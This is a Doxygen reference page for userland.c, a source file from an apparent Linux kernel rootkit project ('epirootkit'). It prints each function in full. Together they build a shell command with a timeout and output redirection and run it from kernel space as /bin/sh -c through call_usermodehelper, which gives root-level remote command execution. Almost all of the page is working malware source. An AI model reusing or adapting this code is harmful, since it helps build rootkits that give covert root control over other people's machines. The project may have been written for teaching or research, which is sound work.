userland.c File Reference

#include <linux/kmod.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/types.h>
#include "epirootkit.h"

Include dependency graph for userland.c:

Go to the source code of this file.

Functions
static char *	trim_leading_whitespace (char *str)
static void	detect_redirections (const char *cmd, bool *redirect_stdout, bool *redirect_stderr)
static char *	build_timeout_prefix (int timeout)
static int	build_full_command (char *buffer, size_t buffer_size, const char *timeout_cmd, const char *user_cmd, bool redirect_stdout, bool redirect_stderr, bool catch_stds, const char *stdout_file, const char *stderr_file)
static int	execute_command (const char *cmd_str, char *envp[])
int	exec_str_as_command_with_timeout (char *user_cmd, bool catch_stds, int timeout)

Function Documentation

build_full_command()

static int build_full_command ( char *  buffer, size_t  buffer_size, const char *  timeout_cmd, const char *  user_cmd, bool  redirect_stdout, bool  redirect_stderr, bool  catch_stds, const char *  stdout_file, const char *  stderr_file  )

static

build_full_command - Constructs the full shell command with redirections and timeout

Parameters

buffer	Destination buffer to store the final command string
buffer_size	Size of the destination buffer
timeout_cmd	Timeout prefix command
user_cmd	User-supplied command
redirect_stdout	True if stdout is redirected
redirect_stderr	True if stderr is redirected
catch_stds	True if we need to redirect output ourselves
stdout_file	File to redirect stdout to (if needed)
stderr_file	File to redirect stderr to (if needed) Return: 0 on success, -EINVAL if the resulting command exceeds buffer size.

Definition at line 71 of file userland.c.

                                                       {
    const char *format;
 
    if ((redirect_stderr && redirect_stdout) || !catch_stds) {
        format = "%s %s";
        return snprintf(buffer, buffer_size, format, timeout_cmd, user_cmd) >= buffer_size
            ? -EINVAL
            : 0;
    }
    else if (redirect_stderr) {
        format = "%s %s > %s";
        return snprintf(buffer, buffer_size, format, timeout_cmd, user_cmd,
                        stdout_file)
                >= buffer_size
            ? -EINVAL
            : 0;
    }
    else if (redirect_stdout) {
        format = "%s %s 2> %s";
        return snprintf(buffer, buffer_size, format, timeout_cmd, user_cmd,
                        stderr_file)
                >= buffer_size
            ? -EINVAL
            : 0;
    }
    else {
        format = "%s %s > %s 2> %s";
        return snprintf(buffer, buffer_size, format, timeout_cmd, user_cmd,
                        stdout_file, stderr_file)
                >= buffer_size
            ? -EINVAL
            : 0;
    }
}

build_timeout_prefix()

static char * build_timeout_prefix ( int  timeout )

static

build_timeout_prefix - Constructs a timeout command prefix

Parameters

timeout

Timeout duration in seconds

If timeout is greater than 0, constructs a timeout command with signal and status options.

Return: Dynamically allocated string with the timeout prefix or an empty string. Caller must kfree() the returned string.

Definition at line 44 of file userland.c.

                                               {
    if (timeout <= 0)
        return kstrdup("", GFP_KERNEL);
 
    const char *base_cmd = "timeout --signal=SIGKILL --preserve-status";
    int size = snprintf(NULL, 0, "%s %d", base_cmd, timeout);
    char *timeout_cmd = kzalloc(size + 1, GFP_KERNEL);
    if (!timeout_cmd)
        return NULL;
 
    snprintf(timeout_cmd, size + 1, "%s %d", base_cmd, timeout);
    return timeout_cmd;
}

detect_redirections()

static void detect_redirections ( const char *  cmd, bool *  redirect_stdout, bool *  redirect_stderr  )

static

detect_redirections - Detects stdout and stderr redirection in a command string

Parameters

cmd	Command string to parse
redirect_stdout	Set to true if stdout is redirected
redirect_stderr	Set to true if stderr is redirected

Definition at line 25 of file userland.c.

                                                       {
    // __evann hates One Redirection
    char *redirect_stderr_add = strstr(cmd, "2>");
    char *redirect_stdout_add = strstr(cmd, ">");
 
    *redirect_stderr = (redirect_stderr_add != NULL);
    *redirect_stdout = (redirect_stdout_add != redirect_stderr_add && redirect_stdout_add != NULL);
}

exec_str_as_command_with_timeout()

int exec_str_as_command_with_timeout	(	char *	user_cmd,
		bool	catch_stds,
		int	timeout
	)

exec_str_as_command_with_timeout - Executes a user command with optional timeout and output redirection

Parameters

user_cmd	Command string to execute
catch_stds	Whether to redirect stdout and stderr to predefined files
timeout	Timeout in seconds for the command; 0 means no timeout

Constructs the final command string with timeout and redirection logic, then executes it in usermode using the kernel's usermodehelper API.

Return: Exit status of the command, or negative error code on failure.

Definition at line 139 of file userland.c.

                                                  {
    char *cmd_buffer = NULL;
    char *timeout_cmd = NULL;
    bool redir_stdout = false, redir_stderr = false;
    int status = 0;
 
    static char *envp[] = { "HOME=/", "TERM=xterm",
                            "PATH=/sbin:/bin:/usr/sbin:/usr/bin:/tmp", NULL };
 
    user_cmd = trim_leading_whitespace(user_cmd);
 
    cmd_buffer = kmalloc(STD_BUFFER_SIZE, GFP_KERNEL);
    if (!cmd_buffer)
        return -ENOMEM;
 
    detect_redirections(user_cmd, &redir_stdout, &redir_stderr);
 
    timeout_cmd = build_timeout_prefix(timeout);
    if (!timeout_cmd) {
        kfree(cmd_buffer);
        return -ENOMEM;
    }
 
    status = build_full_command(cmd_buffer, STD_BUFFER_SIZE, timeout_cmd,
                                user_cmd, redir_stdout, redir_stderr, catch_stds,
                                STDOUT_FILE, STDERR_FILE);
 
    if (status < 0) {
        DBG_MSG("Command too long or invalid\n");
        kfree(cmd_buffer);
        kfree(timeout_cmd);
        return status;
    }
 
    DBG_MSG("exec_str_as_command: executing command: %s\n", cmd_buffer);
 
    status = execute_command(cmd_buffer, envp);
    DBG_MSG("exec_str_as_command: command exited with status: %d\n", status);
 
    kfree(cmd_buffer);
    kfree(timeout_cmd);
 
    return status;
}

execute_command()

static int execute_command ( const char *  cmd_str, char *  envp[]  )

static

execute_command - Executes a shell command in usermode

Parameters

cmd_str	Full shell command string to execute
envp	Array of environment variables Return: Exit status of the command, or error code on failure.

Definition at line 116 of file userland.c.

                                                              {
    char *argv[] = { "/bin/sh", "-c", (char *)cmd_str, NULL };
    struct subprocess_info *sub_info;
 
    sub_info = call_usermodehelper_setup(argv[0], argv, envp, GFP_KERNEL, NULL,
                                         NULL, NULL);
    if (!sub_info)
        return -ENOMEM;
 
    return call_usermodehelper_exec(sub_info, UMH_WAIT_PROC);
}

trim_leading_whitespace()

static char * trim_leading_whitespace ( char *  str )

static

trim_leading_whitespace - Remove leading whitespace from a string

Parameters

str	Input string Return: Pointer to the first non-whitespace character.

Definition at line 13 of file userland.c.

                                                {
    while (*str == ' ' || *str == '\t' || *str == '\n')
        str++;
    return str;
}